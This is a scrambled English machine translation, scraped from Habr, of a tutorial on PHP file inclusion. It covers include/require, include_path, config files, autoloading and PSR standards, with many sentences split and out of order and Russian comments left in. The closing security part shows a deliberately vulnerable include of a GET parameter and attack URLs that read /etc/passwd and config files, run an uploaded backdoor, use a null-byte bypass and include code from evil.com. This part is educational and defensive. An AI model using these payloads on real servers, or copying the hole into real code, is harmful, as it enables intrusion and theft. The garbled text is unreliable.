// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a;
$a = 0; $a++; $a++; echo $a; // выведет 2
function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); // выведет 2
Separately, I note the magic constants :The peculiarity of connecting files is that when connecting a file, parsing switches to HTML mode, for this reason, any code inside the included file must be enclosed in PHP tags:__DIR__
,__FILE__
,__LINE__
and others - they are tied to the context and executed before the inclusion occurs
<?php // подключаемый код // ... // ?>
Have you seen the site file for 10,000 lines? Already tears in the eyes (╥_╥) ...
E_WARNING
E_ERROR
In fact, these are not exactly functions, they are special language constructs, and you can use not parentheses. Among other things, there are other ways to connect and execute files, but this is already digging, let it be for you "task with an asterisk";)Let's look at the examples of the differences between
require
and require_once
, take one echo.php file: <p>text of file echo.php</p>
<?php // подключит и выполнит файл // вернёт 1 require_once 'echo.php'; // файл не будет подключён, т.к. уже подключали // вернёт true require_once 'echo.php'; // подключит и выполнит файл // вернёт 1 require 'echo.php';
<p>text of file echo.php</p> <p>text of file echo.php</p>
auto_prepend_file
and implement a script for using the auto_prepend_file
and auto_append_file
, you can only change them in php.ini , .htaccess or httpd.conf (see PHP_INI_PERDIR ) :)fopen()
, file()
, readfile()
and file_get_contents()
functions. The algorithm is quite simple - when searching for files, PHP checks each directory in turn from the include_path
in turn, until it finds the included file, if it does not, it will return an error. To change the include_path
from the script, use the set_include_path () function.include_path
is that various characters are used as the path separator in Windows and Linux - ";" and ":" respectively, so when specifying your directory, use the constant PATH_SEPARATOR
, for example: // пример пути в linux $path = '/home/dev/library'; // пример пути в windows $path = 'c:\Users\Dev\Library'; // для linux и windows код изменение include_path идентичный set_include_path(get_include_path() . PATH_SEPARATOR . $path);
include_path
in the ini file, you can use environment variables like ${USER}
:include_path = ".:${USER}/my-php-library"
include_path
directive will be ignored, and the search will be performed only by the specified path.Perhaps it would be worthwhile to tell about safe_mode , but this is a long history (from version 5.4), and I hope you will not encounter it, but if you suddenly, so that you know what it was, but passed ...
return
construction, then this data can be obtained and used, so you can easily organize the connection of configuration files, I will give an example for clarity: return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ];
$dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */
Interesting facts, without which life was so good: if functions are defined in the included file, then they can be used in the main file regardless of whether they were declared before return or after
config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php
PROJECT_PHP_SERVER
variable and it is equal to development
, then all files from the default folder must be connected, the data is entered into the $config
variable, then the files from the development folder are connected, and the received data must be erased with the corresponding items saved in $config
PROJECT_PHP_SERVER
is equal to production
(of course, only for the production folder) // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php';
__autoload()
(taken from the comments to the official manual): // класс myClass в отдельном файле myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } }
// пример реализации // ищем файлы согласно директивы include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } // создаём класс $obj = new myClass();
__autoload()
function for your code, and voila: Fatal error: Cannot redeclare __autoload()
spl_autoload_register
. Now index.php
will look like this: // пример реализации // ищем файлы согласно директивы include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } // регистрируем загрузчик spl_autoload_register('myAutoload'); // создаём класс $obj = new myClass();
“Did you know?” Rubric: the first parameterNow each developer can register his own loader, the main thing is that the class names do not match, but this should not be a problem if you use namespaces.spl_autoload_register()
not mandatory, and calling the function without it, the spl_autoload function will be used as the loader, the search will be carried out in folders frominclude_path
and files with the extension.php
and.inc
, but this the list can be expanded using the spl_autoload_extensions function
Since such an advanced functionality asWell, more or less, the picture cleared up, although, wait a minute, all registered loaders queued up as they were registered, respectively, if someone nakhimichil in his loader, instead of the expected result, you can get a very unpleasant bug. To prevent this from happening, adult smart guys described a standard that allows you to connect third-party libraries without problems, the main thing is that the organization of classes in them complies with the PSR-0 standard (10 years old as already) or PSR-4 . What is the essence of the requirements described in the standards:spl_autoload_register()
has long existed, thespl_autoload_register()
function__autoload()
already been declared as deprecated in PHP 7.1 , which means that this function will be completely removed in the foreseeable future (X_x)
.php
must exactly match the class nameFull class name | Namespace | Base directory | Full path |
---|---|---|---|
\ Acme \ Log \ Writer \ File_Writer | Acme \ Log \ Writer | ./acme-log-writer/lib/ | ./acme-log-writer/lib/File_Writer.php |
\ Aura \ Web \ Response \ Status | Aura \ Web | / path / to / aura-web / src / | /path/to/aura-web/src/Response/Status.php |
\ Symfony \ Core \ Request | Symfony \ core | ./vendor/Symfony/Core/ | ./vendor/Symfony/Core/Request.php |
\ Zend \ Acl | Zend | / usr / includes / Zend / | /usr/includes/Zend/Acl.php |
index.php
and calls it the MVC framework: <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page;
// получить неожиданное поведение системы http://domain.com/index.php?page=../index.php // прочитать файлы в директории сервера http://domain.com/index.php?page=config.ini // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd // запустить файлы, которые мы заранее залили на сервер http://domain.com/index.php?page=user/backdoor.php
.php
extension, but in some cases this can be bypassed “thanks” to the zero byte vulnerability (read, this vulnerability has long been fixed , but suddenly you get an interpreter older than PHP 5.3, well, for general development also recommend): // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd%00
In modern versions of PHP, the presence of the zero byte character in the path of the included file immediately leads to a corresponding connection error, and even if the specified file exists and can be connected, there will always be an error, this is checked as follows strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename)
(this is from the depths of PHP itself)
The second “worthwhile” thought is a check to find the file in the current directory: <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php';
<?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php';
Be careful, this directive affects not only the connection of files, but also all the work with the file system, i.e. including this limitation, you must be sure that you have not forgotten anything outside the specified directory, neither the cached data nor any user files (although the functionsWhat other checks are possible? Lots of options, it all depends on the architecture of your application.is_uploaded_file()
andmove_uploaded_file()
continue to work with the temporary folder for the downloaded files).
// подключаем удалённый PHP скрипт http://domain.com/index.php?page=http://evil.com/index.php
Source: https://habr.com/ru/post/439618/